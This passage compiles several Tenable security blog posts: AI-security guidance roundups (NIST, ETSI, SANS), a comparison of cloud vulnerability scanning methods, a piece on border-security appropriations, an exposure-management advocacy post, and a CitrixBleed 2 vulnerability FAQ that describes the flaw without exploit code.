• Verifying data integrity: Before using data from the web to train AI models, make sure it hasn't been tampered with. A basic integrity check involves the data provider publishing cryptographic hashes and the downloader verifying the training data.
• Filtering out poison: Implement data filtering to remove any poisoned data samples.
• Scanning for weaknesses: Conduct vulnerability scans of model artifacts.
• Spotting backdoors: Use mechanistic interpretability methods to identify sneaky backdoor features.
• Designing for resilience: Build generative AI applications in a way that reduces the impact of model attacks.

Taxonomy of Attacks on GenAI Systems

(Source: “Adversarial Machine Learning: A Taxonomy and Terminology of Attacks and Mitigations” report from NIST, March 2025)

The report is primarily aimed at those in charge of designing, developing, deploying, evaluating and governing AI systems.

For more information about protecting AI systems against cyber attacks:

• “Understanding the risks - and benefits - of using AI tools” (U.K. NCSC)
• “Hacking AI? Here are 4 common attacks on AI” (ZDNet)
• “Best Practices for Deploying Secure and Resilient AI Systems” (Australian Cyber Security Centre)
• “Adversarial attacks on AI models are rising: what should you do now?” (VentureBeat)
• “OWASP AI Security and Privacy Guide” (OWASP)
• “How to manage generative AI security risks in the enterprise” (TechTarget)

3 - ETSI publishes global standard for AI security

Seeking to bring clarity to the proper way to secure AI models and systems, the European Telecommunications Standards Institute (ETSI) in April published a global standard for AI security designed to cover the full lifecycle of an AI system.

Aimed at developers, vendors, operators, integrators, buyers and other AI stakeholders, ETSI’s “Securing Artificial Intelligence (SAI); Baseline Cyber Security Requirements for AI Models and Systems” technical specification outlines a set of foundational security principles for an AI system’s entire lifecycle.

Developed hand-in-hand with the U.K. National Cyber Security Center (NCSC) and the U.K. Department for Science, Innovation & Technology (DSIT), this document breaks down AI system security into five key stages and 13 core security principles:

• Secure design stage
  • Raise awareness about AI security threats and risks.
  • Design the AI system not only for security but also for functionality and performance.
  • Evaluate the threats and manage the risks to the AI system.
  • Make it possible for humans to oversee AI systems.
• Secure development stage
  • Identify, track and protect the assets.
  • Secure the infrastructure.
  • Secure the supply chain.
  • Document data, models and prompts.
  • Conduct appropriate testing and evaluation.
• Secure deployment stage
  • Communication and processes associated with end-user and affected entities.
• Secure maintenance stage
  • Maintain regular security updates, patches and mitigations.
  • Monitor system behavior.
• Secure end-of-life stage
  • Ensure proper data and model disposal.
     

Each one of the 13 security principles is further expanded with multiple provisions that detail more granular requirements. 

For example, in the secure maintenance stage, ETSI calls for developers to test and evaluate major AI system updates as they would a new version of an AI model. Also in this stage, system operators need to analyze system and user logs to detect security issues such as anomalies and breaches.

And if you’re hungry for more technical nitty-gritty, the 73-page companion report “Securing Artificial Intelligence (SAI): Guide to Cyber Security for AI Models and Systems” offers a treasure trove of detail for each provision.

Together the technical specification and the technical report “provide stakeholders in the AI supply chain with a robust set of baseline security requirements that help protect AI systems from evolving cyber threats,” reads an NCSC blog.

For more information about AI security best practices, check out these Tenable blogs:

• “Securing the AI Attack Surface: Separating the Unknown from the Well Understood”
• “Do You Think You Have No AI Exposures? Think Again”
• “How to Discover, Analyze and Respond to Threats Faster with Generative AI”
• “Never Trust User Inputs -- And AI Isn't an Exception: A Security-First Approach”
• “AI Security Roundup: Best Practices, Research and Insights”

4 - Study: Open source AI triggers cyber risk concerns

As organizations increasingly adopt open-source AI technologies, they also worry about facing higher risks than those posed by proprietary AI products.

That’s according to the report “Open source technology in the age of AI” from McKinsey Co., the Patrick J. McGovern Foundation and Mozilla, based on a global survey of 700-plus technology leaders and senior developers.

Specifically, while respondents cite benefits like lower costs and ease of use, they consider open source AI tools to be riskier in areas like cybersecurity, compliance and intellectual property.

If your organization is looking at or already adopting open source AI products, here are risk mitigation recommendations from the report, published in April:

• Deploy strong guardrails: Think automated content filtering, input/output validation, and that all-important human oversight.
• Assess consistently: Use standardized benchmarks to conduct regular risk assessments.
• Run in trusted zones: Keep your AI models safe by running them in trusted execution environments.
• Fortify repositories: Protect your model repositories with strong access controls.
• Segment your networks: Create separate networks for training and inference servers.
• Verify trustworthiness: Always confirm models come from trusted repositories using cryptographic hash verification.

For more information about open-source AI’s cybersecurity:

• “Predictions for Open Source Security in 2025: AI, State Actors, and Supply Chains” (OpenSSF)
• “Frequently Asked Questions About DeepSeek Large Language Model (LLM)” (Tenable)
• “Mapping the Open-Source AI Debate: Cybersecurity Implications and Policy Priorities” (R Street)
• “With Open Source Artificial Intelligence, Don’t Forget the Lessons of Open Source Software” (CISA)
• “Open Source AI Models: Perfect Storm for Malicious Code, Vulnerabilities” (DarkReading)

5 - Tenable: Orgs using AI in the cloud face thorny cyber risks

Using AI tools in cloud environments? Make sure your organization is aware of and prepared for the complex cybersecurity risks that emerge when you mix AI and the cloud.

That’s a key message from the “Tenable Cloud AI Risk Report 2025,” released in March and based on a telemetry analysis of public cloud and enterprise workloads scanned through Tenable products.

“Cloud security measures must evolve to meet the new challenges of AI and find the delicate balance between protecting against complex attacks on AI data and enabling organizations to achieve responsible AI innovation,” Liat Hayun, Tenable’s VP of Research and Product Management for Cloud Security, said in a statement.

Key findings from the report include:

• 70% of cloud workloads with AI software installed have at least one critical vulnerability, compared with 50% of cloud workloads that don’t have AI software installed.
• 77% of organizations have the overprivileged default Compute Engine service account configured in Google Vertex AI Notebooks – which puts all services built on this default Compute Engine at risk.
• 91% of organizations using Amazon Sagemaker have the risky default of root access in at least one notebook instance, which could grant attackers unauthorized access if compromised.
   

These are some of the report's risk mitigation recommendations:

• Take a contextual approach for revealing exposures across your cloud infrastructure, identities, data, workloads and AI tools.
• Classify all AI components linked to business-critical assets as sensitive, and include AI tools and data in your asset inventory, scanning them continuously.
• Keep current on emerging AI regulations and guidelines, and stay compliant by mapping key cloud-based AI data stores and implementing required access controls.
• Apply cloud providers' recommendations for their AI services, but be aware that default settings are commonly insecure and guidance is still evolving.
• Prevent unauthorized or overprivileged access to cloud-based AI models and data stores.
• Prioritize vulnerability remediation by understanding which CVEs pose the greatest risk to your organization. 

To get more information, check out:

• The full “Tenable Cloud AI Risk Report 2025”
• The on-demand webinar “2025 Cloud AI Risk Report: Helping You Build More Secure AI Models in the Cloud”
• The blog “Who's Afraid of AI Risk in Cloud Environments?”

6 - SANS: Six critical controls for securing AI systems

SANS Institute has also jumped into action to help cyber defenders develop AI security skills and strategies, publishing draft guidelines for AI system security in March.

The “SANS Draft Critical AI Security Guidelines v1.1” document outlines these six key security control categories for mitigating AI systems' cyber risks.

• Access-control methods, including:
  • Least privilege, for ensuring that users, APIs and systems have the minimum-necessary access to AI systems
  • Zero trust, for vetting all interactions with AI models
  • API monitoring, for flagging potentially malicious API usage
• Protections for AI operational and training data, including:
  • Data integrity of AI models
  • Prevention of tampering with AI prompts
• Secure deployment decisions, including:
  • On-premises versus cloud, based on criteria like performance expectations and regulatory requirements
  • Development environments integrated with large language models (LLMs) that don't expose secrets, such as API keys and algorithms
     

 

• Inference security for preventing malicious input attacks, including:
  • Adoption of response policies for AI outputs
  • Prompt filtering and validations for mitigating prompt injection attacks
• Continuous monitoring of AI models, including:
  • Refusal of inappropriate queries
  • Detection of unauthorized model changes
  • Logging of prompts and outputs
• Governance, risk and compliance for complying with data protection and privacy regulations, including:
  • Adoption of AI risk management frameworks
  • Maintaining an AI bill of materials to track AI supply chain dependencies
  • Use of model registries to track AI model lifecycles

“By prioritizing security and compliance, organizations can ensure their AI-driven innovations remain effective and safe in this complex, ever-evolving landscape,” the document reads.

In addition to the six critical security controls, SANS also offers advice for deploying AI models, recommending that organizations do it gradually and incrementally, starting with non-critical systems; that they establish a central AI governance board; and that they draft an AI incident response plan.

For more information about AI security controls:

• “The AI Supply Chain Security Imperative: 6 Critical Controls Every Executive Must Implement Now” (Coalition for Secure AI)
• “OWASP AI Exchange” (OWASP)
• “AI Safety vs. AI Security: Navigating the Commonality and Differences” (Cloud Security Alliance)
• “The new AI imperative is about balancing innovation and security” (World Economic Forum)
• “AI Data Security” (Australian Cyber Security Centre)
• “The Rocky Path of Managing AI Security Risks in IT Infrastructure” (Cloud Security Alliance)

There are various approaches to managing vulnerabilities on cloud workloads, and knowing which vulnerability scan method to use is critical to your success. However, there isn’t a universally correct choice. How can you identify the best approach for you?

While network-based, agent-based, and agentless vulnerability scans all identify vulnerabilities, there are tradeoffs, and the ideal approach depends on your specific use case, requirements and constraints. This blog explores the different methods and discusses their application to virtual machines and containerized workloads.

Cloud vulnerability management overview

(Tenable Cloud Security: Vulnerability management dashboard widgets)

Cloud vulnerability management focuses on scanning the base operating systems, such as Linux and Windows, and other software installed on cloud instances to identify vulnerabilities. Although vulnerability management has been done for decades, your public cloud workloads may benefit from a different approach.

Traditional scan methods like network scans and agent installations, such as Tenable’s Nessus Agents, may be viable options for long-lived virtual machines in some public cloud environments. However, these methods are not ideal for short-lived virtual machines and containerized workloads. It all comes down to understanding the best approach for acquiring vulnerability data for a given use case.

Scanning public cloud virtual machines

You may have public-cloud virtual machines that closely resemble on-premises virtual machines in their deployment method, configuration and lifespan. Conversely, you may have virtual machines that have more cloud-native characteristics. Many organizations have both. This is often determined by where on the cloud security maturity journey that deployment is.

Choosing the best vulnerability scanning method for your public-cloud virtual-machine use case will depend on factors like the lifespan, size and accessibility of the virtual machine.
 

(Tenable Cloud Security: Virtual machines with vulnerabilities)

Network-based scanning

Network-based scanning entails deploying a separate scanner virtual machine within each virtual private cloud or virtual network, thereby ensuring isolation while providing necessary access. Administrative credentials are necessary for comprehensive results; otherwise, scans are limited to external views, such as those provided by open ports, service versions and operating system versions. 

This approach is suitable for public-cloud virtual machines with OS-level administrative credentials and network accessibility such that the scanner can reach targets on all ports and protocols. Each network scanner is typically deployed as a large, long-lived virtual machine. These scanner virtual machines add to a customer’s cloud operational costs.

Advantages:

• The most comprehensive scan type when administrative credentials are provided
• No agents to deploy
• Supports devices that can’t be scanned with agents, such as network devices
• Consistent scanning method for those also scanning on-premises workloads

Considerations:

• It requires administrative credentials for each scan target.
• Scanner virtual machines must be deployed in cloud accounts, usually per Virtual Private Cloud (VPC) / Virtual Network (VNET), which can be costly.
• Scans can impact scan target performance, though this can be tuned.
• Requires wide-open port and protocol access from the scanner to the scan targets.
• Targets must be running and available via IP address at scan time.
• Network-based scans are manually scheduled activities.

Common use case:

• Long-lived virtual machines with administrative access and network accessibility

Agent-based scanning

Agent-based scanning involves installing agents, such as Nessus agents or cloud-provider agents, on each target virtual machine. Agents run within each cloud virtual machine and report findings only for the virtual machine on which they are running.

This approach is suitable for larger virtual machines where agents are permitted but OS credentials are not provided. Agents eliminate the need for hosting separate scanner virtual machines, thus reducing complexity and costs. Agents’ installation and configuration can usually be automated during the deployment of public-cloud virtual machines. 

Advantages:

• No scanner virtual machines to deploy and maintain
• Reduced cost compared with deploying a scanner virtual machine per VPC/VNET
• No credential management required
• Microsegmented environments supported

Considerations:

• Agents are required on each workload and they must be managed.
• Agents require connectivity to an agent manager (usually outbound TCP:443).
• Targets must be running and available at scan time.
• They’re not ideal for ephemeral workloads.
• Agents cannot perform remote-only checks.
• There are minimum system requirements (2CPU/1GB RAM).
• Agent-based scans are manually scheduled activities.

Common use cases:

• Long-lived virtual machines where OS-level credentials are not provided
• Virtual machines in highly segmented/microsegmented environments

Agentless

Agentless scanning is a cloud-native approach leveraging the cloud service provider’s public APIs to gather information about virtual machines. This method entails creating cloud entitlements that permit access to authenticated cloud provider APIs. Agentless eliminates the need for network scanners and agents.

This approach is suitable for most public-cloud virtual machines, regardless of credential management or segmentation level. Agentless leverages APIs to connect to your virtual machines and to create a snapshot of their storage volumes. These volumes are then mounted to an ephemeral virtual machine that runs the vulnerability scan. It provides visibility into all virtual machines and their flaws without impacting running virtual machines. OS-level credentials and port accessibility are not necessary, which reduces operational overhead and increases scalability.

Advantages:

• Cloud-native and API-driven
• No scanners or agents to deploy and manage
• No credential management or port accessibility required
• Works with virtual machines of all sizes
• No impact on virtual machines
• Saves money by eliminating the need for scanner virtual machines
• Access granted via cloud entitlements
• Can be used on stopped virtual machines

Considerations:

• Agentless is typically a capability of cloud security tools, not traditional vulnerability management tools.
• Agentless results are typically CVE-based.
• Agentless usually does not provide the same level of detail as network-based or agent-based approaches.
• Agentless scans are automatically performed, usually once daily.

Common use cases:

• Virtual machines where OS-level credentials are not provided and agents are not permitted or desired
• Short-lived virtual machines

Scanning public cloud containerized workloads

Containerized workloads are very different from virtual machines and scanning them for vulnerabilities requires adapting to their ephemeral nature. Choosing the best vulnerability scanning method for your public cloud containerized workload use case will depend on factors like how the containers are orchestrated and your vulnerability management requirements.
 

(Tenable Cloud Security: Containerized workloads with vulnerabilities)

Network-based scanning

Network-based scanning is usually not applicable to containerized workloads. Some vendors, including Tenable, detect if a scanned host is running Docker, but they do not scan the containers running on the Docker host for vulnerabilities. 

Kubernetes agent-based scanning

Agent-based scanning takes on a different meaning when referring to containerized workloads. Traditional vulnerability scanning agents are not well suited to running on a container due to the agent size, resource requirements, and network connectivity requirements. 

However, Docker containers are typically managed by a container orchestration platform such as Kubernetes. Kubernetes agent-based scanning provides deep visibility and real-time security by deploying a lightweight sensor on each Kubernetes workload via a Helm chart, making it ideal for continuously monitoring containerized workloads. 

Advantages:

• No thick agent software to deploy or manage
• Deployed via Helm chart
• Works with cloud-managed Kubernetes (e.g., EKS, AKS, GKE) as well as self-managed Kubernetes and Red Hat OpenShift environments
• Kubernetes agent-based scans are automatically performed, usually hourly 

Considerations:

• Kubernetes agent-based scanning is typically a capability of cloud security tools, not traditional vulnerability management tools
• Kubernetes agentless results are typically CVE-based

Common use cases:

• Containerized workloads within a Kubernetes or Red Hat OpenShift Container orchestration platform

Agentless

Containerized workloads in public cloud environments are typically managed by a container orchestration platform such as Kubernetes. Kubernetes nodes – the hosts on which containers run – are virtual machines running in public-cloud environments. Therefore, the agentless method is the same as the one described earlier in the “Scanning Public Cloud Virtual Machines” section, with the added benefit of identifying the containers running on the Kubernetes nodes. This method will also identify the software bill of materials (SBOM), and the vulnerabilities associated with each container running on the Kubernetes node.

Advantages:

• Cloud native and API driven
• No scanners or agents to deploy and manage
• Supports cloud-managed Kubernetes nodes
• Access is granted via cloud entitlements
• Can be used on stopped Kubernetes nodes (virtual machines)

Considerations:

• Agentless is typically a capability of cloud security tools, not traditional vulnerability management tools.
• Agentless results are typically CVE-based.
• Agentless scans are less frequent than Kubernetes agent-based scans.

Common use cases:

• Containerized workloads within a cloud-managed Kubernetes container orchestration platform (e.g., EKS, AKS, GKE)

A note about container images

Containers are the running instances of a container image. This blog is focused on public-cloud workloads, and container images are not workloads. However, it is worth noting that the images themselves can also be scanned. This is usually accomplished by scanning the container image within the CI/CD pipeline, and by integrating with a container image registry to scan all the container images stored within. 

Summary

Choosing the right vulnerability scanning method for public-cloud workloads is crucial and depends heavily on specific use cases and requirements. Each method offers unique advantages and considerations for both virtual machines and containerized workloads. It is essential to understand these differences and to align them with your workload lifespan, accessibility, and overall vulnerability management strategy. Tenable offers all these methods to help you identify, contextualize, prioritize and remediate vulnerabilities in any environment anywhere. 

For more information on vulnerability management in the cloud watch the webinar “A Cyber Pro’s Guide to Cloud-Native Vulnerability Management: Start, Scale, and Secure with Confidence” and read the data sheet, “Vulnerability Management Built for Multi-Cloud Environments”.

The FY 2026 House Homeland Security Appropriations Bill highlights growing focus in Congress on protecting border infrastructure from cyber threats. The directive to implement continuous monitoring and real-time threat intelligence reflects a broader push toward modern, preventive cybersecurity across federal agencies.

As the digital and physical worlds become increasingly intertwined, the technologies used to protect national borders — once largely isolated — are now connected, intelligent and, unfortunately, more vulnerable than ever. Surveillance systems and cameras, biometric scanners, drones and other operational technology (OT) systems have become essential components of modern border protection. But with their growing capabilities comes an urgent need to secure them against cyber threats.

Today’s cybersecurity landscape demands more than just IT protection. The OT and internet of things (IoT) environments that underpin essential services, especially at the border, must be integral to any modern security strategy.

A legislative signal: Border security in the spotlight

Recent developments in Congress underscore a significant policy direction. The House Appropriations Committee recently passed its version of the FY 2026 (FY26) House Homeland Security Appropriations Bill. The bill places a clear focus on securing border infrastructure through proactive cybersecurity measures. This momentum builds on broader federal cybersecurity efforts, including:

• Executive Order 14306 reinforcing critical infrastructure defenses in response to escalating nation-state cyber threats
• Transportation Security Administration (TSA) security directives targeting OT in pipeline, rail and aviation infrastructure
• The Cybersecurity and Infrastructure Security Agency (CISA) Binding Operation Directive 23-01 requiring comprehensive asset visibility across IT, OT and IoT
• The Office of Management and Budget (OMB) Memorandum M-24-04, mandating inventories of all IoT and OT devices

While the FY26 House Homeland Security Appropriations Bill still needs to pass the House floor, the Senate, and be signed into law by the President, its language sends a strong signal: OT systems are no longer cybersecurity afterthoughts — they are national security imperatives.

A clear mandate for proactive security

The bill specifically encourages U.S. Customs and Border Protection (CBP) to "implement a proactive strategy to support real-time threat intelligence, risk-based prioritization, and continuous monitoring of critical border security technologies." This is a powerful statement, emphasizing a move away from reactive incident response to a more preventive and adaptive security posture.

It also directs CBP to brief Congress on its efforts to "assess, prioritize, and mitigate cybersecurity vulnerabilities and misconfigurations across all IT, OT, and IoT assets within the border security technology ecosystem." The directive explicitly calls for a holistic view of the attack surface, acknowledging that security gaps in OT and IoT systems can pose as significant a risk as those in traditional IT.

Why this matters for federal agencies

Border technologies do more than monitor perimeters, they enable the entire infrastructure of U.S. border operations. These systems help detect illegal crossings, track cargo, identify high-risk individuals and facilitate lawful trade and travel. A cyber attack on these systems isn’t just a technical problem, it’s a national security risk. Disruptions could impair real-time situational awareness, halt operations at ports of entry and potentially allow bad actors to bypass detection.

Congressional focus on OT/IoT security at the federal level is a significant step forward for several reasons:

• Elevating OT/IoT to national priority: The bill validates what many in the cybersecurity community have long recognized: that OT and IoT systems are core components of critical infrastructure and must be secured accordingly.
• Driving a proactive approach: The emphasis on "proactive strategy," "real-time threat intelligence," "risk-based prioritization" and "continuous monitoring" reflect modern cybersecurity best practices. It’s a clear move from reactive defenses to proactive exposure management.
• Encouraging comprehensive visibility: Today’s border systems don’t operate in isolation. They’re part of a broader ecosystem that includes IT networks, cloud platforms, OT and IoT devices. Directing CBP to secure all IT, OT and IoT assets reinforces the need for complete visibility across the entire attack surface because you can't secure what you can't see.
• Safeguarding data privacy and operational continuity: Border security systems handle highly sensitive data — including biometric records, surveillance footage and traveler information — making them a prime target for attacks. The bill’s language underscores the need for strong, proactive controls to protect data and avoid operational interruptions.
• Setting a precedent for broader federal security: The language within the Homeland Security bill can serve as a strong indicator for other federal agencies and departments regarding the increasing importance of securing their own OT and IoT deployments. This ripple effect could lead to a broader enhancement of critical infrastructure security across the U.S. and inspire similar initiatives globally.

Beyond the border: A broader commitment to cyber resilience

In addition to the border security language, the FY26 House Homeland Security Appropriations Act also includes several other crucial cybersecurity initiatives relevant to a secure federal attack surface:

1. Advancing CDM capabilities: This bill supports strengthening foundational security initiatives like piloting next gen technologies- like OT asset discovery and integration into the Continuous Diagnostics and Mitigation (CDM) program.
2. Embracing modern security paradigms: The bill encourages the adoption of cutting-edge security approaches such as AI-powered security and detection tools, application-based IoT discovery, cloud security, Zero Trust Architecture (ZTA) and post-quantum cryptography, highlighting a commitment to modern, adaptive defense models.
3. Supply chain and critical infrastructure protection: The bill directs CISA to focus on the most vital critical infrastructure sectors, explore new services like supply-chain vendor certification and real-time risk monitoring and assess a cyber readiness pilot for DHS contractors.

What this means for Tenable U.S. customers

The FY26 House Homeland Security Appropriations Bill reinforces a critical national priority: safeguarding the cyber integrity of U.S. border security technology and homeland security systems. This aligns closely with Tenable’s mission to support federal agencies in gaining visibility, understanding risk and proactively strengthening their cybersecurity posture.

As agencies like CBP deploy advanced technological solutions, the need for trusted, capable partners becomes even more vital. Tenable is committed to standing alongside our federal partners — not just as a technology provider but as a mission ally in defending the systems that protect U.S. borders and, ultimately, the nation’s national resilience. Because securing border technologies isn’t just about protecting entry points — it’s about setting a standard for how critical infrastructure is secured across the country.

Learn more

• Explore Tenable solutions for government
• Learn more about Tenable One FedRAMP
• Learn more about Tenable OT Security
• Request a demo

Each Monday, the Tenable Exposure Management Academy provides the practical, real-world guidance you need to shift from vulnerability management to exposure management. In this post, we share some tips on how to lead the move to exposure management. You can read the entire Exposure Management Academy series here.

For years, organizations poured resources into reactive defenses, scrambling to contain breaches once they were already underway. Yet, breaches continue at an alarming rate. There must be a better way. There must be a more proactive way to shrink the attack surface, prioritize true business exposure and reduce the burden on security teams. 

This is the promise of exposure management. And it's rapidly changing the game. As with most change, there is great opportunity ahead. The impact of exposure management on reactive security effectiveness and efficiency will be considerable. We believe that the vulnerability management leaders who drive the move to exposure management today will become the CISOs of tomorrow. 

Change often requires evolution beyond our traditional roles, responsibilities and workflows. Is everyone on board for change? Not always. Maybe your boss or peers need some enlightenment on the value exposure management can offer them and the organization. We know that the move from heavy reliance on traditional threat and incident response to a more proactive, preventive approach requires rethinking existing priorities as they relate to roles, responsibilities and investments. 

In this post, we thought we’d share some tips on how you can join the exposure management discussion as a driver of change rather than just a passenger on the journey. 

Tip 1: Talk about the benefits of balancing your reactive and proactive security posture

Source: Tenable, 2025

Let’s start with the cybersecurity continuum, with the breach line in the middle. To the right lies reactive security, a world of active threats and incidents. The goal there is to minimize impact after an attack has begun. 

Historically, this is where most security expenditures have gone, and for good reason. Breaches used to be the purview of security teams. But now, multiple regulations require breach disclosure. These greater visibility and disclosure requirements can lead to revenue, reputational and customer trust fallout — as well as lawsuits and penalties. 

So how can we prevent those breaches from ever happening? That's the role of proactive exposure management, which has two core objectives:

• Shrink the attack surface: Exposure management actively identifies the viable pathways attackers can exploit to gain access and move laterally.
• Provide critical context: Exposure management gives teams the insights they need to prioritize and protect the critical assets and business functions that matter most. 

Key points to convince your boss:

• Suggest starting small: Mention that many exposure management programs evolve from traditional vulnerability management — and many organizations begin by expanding the scope of visibility and context of their vulnerability management team over time to include externally facing assets, cloud, OT and IoT.
• Highlight deep insights: Talk about how exposure management can help them quantify and align exposure scores to specific business services or units, which makes it easier to communicate risk posture with lines of business, executives and the board of directors. The ability to quantify and align risk posture to what matters is also central to driving investment decisions because you can now understand where you have higher risk, what its impact might be and then justify your resources requirements..

Tip 2: Highlight the limitations and risks of siloed security 

Most organizations operate with multiple security domains or silos. Each operates in isolation, with data trapped in one or even many individual tools. Teams frequently end up having little to no visibility into what’s happening elsewhere. 

And, while your vulnerability management program maturity may be robust, your cloud or identity security might be lagging, or vice versa. Bringing every silo up to snuff requires a people, budget and time investment few organizations can realize in short order. And even if you could undertake that monumental task, you’d still be unable to solve the fundamental problem of siloed security — that it doesn't reflect how attackers operate in the real world. 

Attackers don't respect your carefully constructed security boundaries. They seek out any vulnerability, misconfiguration or access privilege to gain a foothold, move laterally across silos and escalate their privileges. 

Their goals are simple: They want to disrupt your services, hold your operations for ransom or steal sensitive data. Or all of the above. Yet, today, most organizations have no unified view of their attack surface — and siloed security teams are stuck working with tools that tell them very little about how attackers might exploit the attack surface across domains to achieve their goal.

In the face of this threat, the glaring weakness of siloed security comes to light: a lack of context. 

Siloed tools don’t offer the technical context of asset identity and risk relationships across domains that attackers exploit. They also don’t offer business context to help you evaluate the potential impact on your "crown jewel" assets and mission-critical services. Legacy cybersecurity tools generate a veritable Mount Everest of noisy findings. 

Amid the noise, there’s no clear way to isolate true exposures, let alone quantify or business-align them for prioritization. This works to an attacker’s advantage. And it isn't just an exposure problem. It’s also an ROI challenge. Constantly adding point solutions and people in a chase for visibility that might never come will quickly hit a value and scalability plateau. Without a unified approach and the context that comes with it, you’ll quickly start to see staff churn, miss critical exposures and realize sub-optimal return on your existing security investments.

Key points to convince your boss:

• Quantify your current environment: Estimate the human hours lost to manual tasks and cross-silo inefficiencies, such as reporting, and share that with your boss.
• Catalog current struggles: Survey your different siloed teams to gain insights into their daily struggles, such as noise and pushback from IT teams, then communicate that to your boss.
• Take inventory: Consider the potential for shadow IT caused by rapid digital transformation with multi-cloud, IT/OT convergence, IoT and BYOD — and what risks may be going unseen or unmanaged due to an inability to keep pace with a rapidly evolving attack surface and no unified inventory. Connecting that to how exposure management can better protect those assets will be a great proofpoint. 

Tip 3: Share how exposure management closes the context gap by driving better outcomes

Overcoming the context gap demands a unified approach. 

Exposure management scales security horizontally by extending visibility across all assets and risks in your attack surface, actively closing hidden gaps. Then, it adds critical technical and business context to shed light on what truly matters to your organization. These targeted insights enable you to not only effectively remedy exposure but also to prioritize investments that directly align with your business objectives. 

Delivering transformational outcomes

Source: Tenable customer case studies, 2025 

As the image above demonstrates, companies that move to exposure management can reap significant benefits. Siloed tools lack critical technical context (attack path relationships) and business context (an understanding of the impact on mission-critical data, applications and revenue streams) across domains. Exposure management fills in gaps that siloed tools can miss, and delivers the context that both proactive and reactive security teams need to do their jobs more effectively. The benefits don’t end there. 

One customer, TB Consulting (TBC), saw a tenfold increase in visibility into the number of assets tracked — identifying assets formerly not seen or managed, such as containers and Kubernetes environments. With a unified exposure management platform, TBC reduced the time it takes to gather data across multiple siloed tools by 75%. 

With added technical and business context for prioritization and related automations, the company reduced the volume of tickets it was generating from its SOC by 82% — from 1,700 to 300. 

With exposure management, the team sped up delivery of required capabilities — completing in three months what they’d been trying to build in-house for 24 months. 

Numbers like these are always compelling. And the impact on your work will be even more profound. 

Because you can see asset identity, risk relationships and their impact on your most vital assets, you can focus on true exposure rather than getting buried in the noise. You’ll narrow the attack surface for your reactive security teams while adding rich context to identify real threats and incidents so you can break attack paths before they cause material damage.

Key points to convince your boss:

• Talk about closing visibility gaps: Share how you’ll be able to discover previously unseen assets like containers, Kubernetes, OT and IoT identities.
• Underscore the value of unification on scale and productivity: An exposure management platform can gather all your security data into a single store. Once there, you can automate analysis, instead of relying on manual aggregation and ineffective prioritization. This is something your boss will value.
• Focus on what matters: Let your boss know that exposure management will mean reduced exposure and security incidents for the business. SOC will be able to quickly visualize attack paths and potential impact to the organization and break attack chains, rather than sifting through all the noise.

Takeaways

Exposure management is about balancing proactive and reactive security to get ahead of attackers. 

It aligns resources with the things that matter most to the business, and provides quantifiable data points that enable wise, informed investment decisions. Exposure management is not just a vision. It’s how many security leaders are driving greater value from their existing security programs today. 

More importantly, it's a path forward that you can help chart for your leadership team and organization as a whole. Exposure management provides a natural progression path for you from domain practitioner to future security leader.

Tell your boss that the future of cybersecurity is proactive, unified and business-aligned. The future is exposure management and you can help drive that transformation for your organization

Learn more

• Check out the Tenable exposure management resource center to discover the value of exposure management and explore resources to help you stand up a continuous threat exposure management program.

Frequently asked questions about recent Citrix NetScaler ADC and Gateway vulnerabilities that have reportedly been exploited in the wild, including CVE-2025-5777 known as CitrixBleed 2.

Update July 7: The blog has been updated to include reports of active exploitation dating back to mid-June as well as technical details including a proof-of-concept (PoC) for CitrixBleed 2.

View Change Log

Background

Tenable’s Research Special Operations (RSO) team has compiled this blog to answer Frequently Asked Questions (FAQ) regarding CVE-2025-5777 and CVE-2025-6543, two Citrix NetScaler ADC and Gateway vulnerabilities that have reportedly been exploited in the wild.

FAQ

What vulnerabilities have been exploited?

As of the publication of this blog on June 27, active exploitation has been reported for the following CVEs:

CVEDescriptionCVSSv4SeverityCVE-2025-5777Citrix NetScaler ADC and Gateway Out-of-Bounds Read Vulnerability (“CitrixBleed 2”)9.3CriticalCVE-2025-6543Citrix NetScaler ADC and Gateway Denial of Service (DoS) Vulnerability9.2Critical

What is CVE-2025-5777 (CitrixBleed 2)

CVE-2025-5777 is an out-of-bounds read vulnerability affecting Citrix NetScaler ADC and Gateway. Successful exploitation of this vulnerability would allow an attacker to read memory on an affected device, giving the attacker access to sensitive data including session tokens. These session tokens can be used to bypass multi-factor authentication (MFA) and allow the attacker to take over an authenticated session.

Source: Kevin Beaumont

Why is CVE-2025-5777 being called CitrixBleed 2?

The moniker CitrixBleed 2 was given to CVE-2025-5777 by security researcher Kevin Beaumont, who observed that this vulnerability is very similar to CVE-2023-4966, also known as CitrixBleed. The original CitrixBleed was widely abused by both ransomware groups and other threat actors, including advanced persistent threat (APT) actors. Given the similarities and likelihood of exploitation, Beaumont warned that “organisations patch, unless they want to become the detection in the wild after a security incident.”

When was CVE-2025-5777 first disclosed?

CVE-2025-5777 was disclosed by Citrix in security bulletin CTX693420 on June 17. In the same security bulletin, Citrix also addressed CVE-2025-5349, an improper access control vulnerability affecting the NetScaler Management Interface.

Was CVE-2025-5777 exploited as a zero-day?

While the initial security bulletin from Citrix did not contain any language about exploitation, there have been multiple reports of in-the-wild exploitation.

On June 26, ReliaQuest released a blog post in which they note they have observed “indications of exploitation” and further state “ReliaQuest assesses with medium confidence that attackers are actively exploiting this vulnerability to gain initial access to targeted environments.”

On July 7, Kevin Beaumont reported that active exploitation for CVE-2025-5777 has been on-going "since mid June."

Post by @[email protected]View on Mastodon

 

At the time this blog was published, Citrix had not updated their security bulletin to indicate active exploitation of CVE-2025-5777.

What is CVE-2025-6543?

CVE-2025-6543 is a DoS vulnerability resulting from a memory overflow issue. While there are similarities in the vulnerability descriptions from Citrix between CVE-2025-6543 and CVE 2025-5777, Citrix released a Cloud Software Group blog post clarifying that these two vulnerabilities are not related.

When was CVE-2025-6543 first disclosed?

CVE-2025-6543 was disclosed in security bulletin CTX694788 on June 25.

Was CVE-2025-6543 exploited as a zero-day?

Yes, CVE-2025-6543 was exploited in the wild as a zero-day. The initial security bulletin release indicated that exploitation had been observed and Citrix confirmed in their supplementary blog post on June 26 that CVE-2025-6543 was exploited as a zero-day.

Is there a proof-of-concept (PoC) available for these vulnerabilities?

Technical details for CitrixBleed 2 have been published by both watchTowr on July 4 and Horizon3.ai on July 7. The Horizon3.ai blog also includes a video showing successful exploitation of CitrixBleed 2 that result in the leaking of legitimate user session tokens.

Are patches or mitigations available for CVE-2025-5777?

Yes, Citrix released patches for the following NetScaler ADC and Gateway versions that also addresses CVE-2025-5349, which is not known to have been exploited:

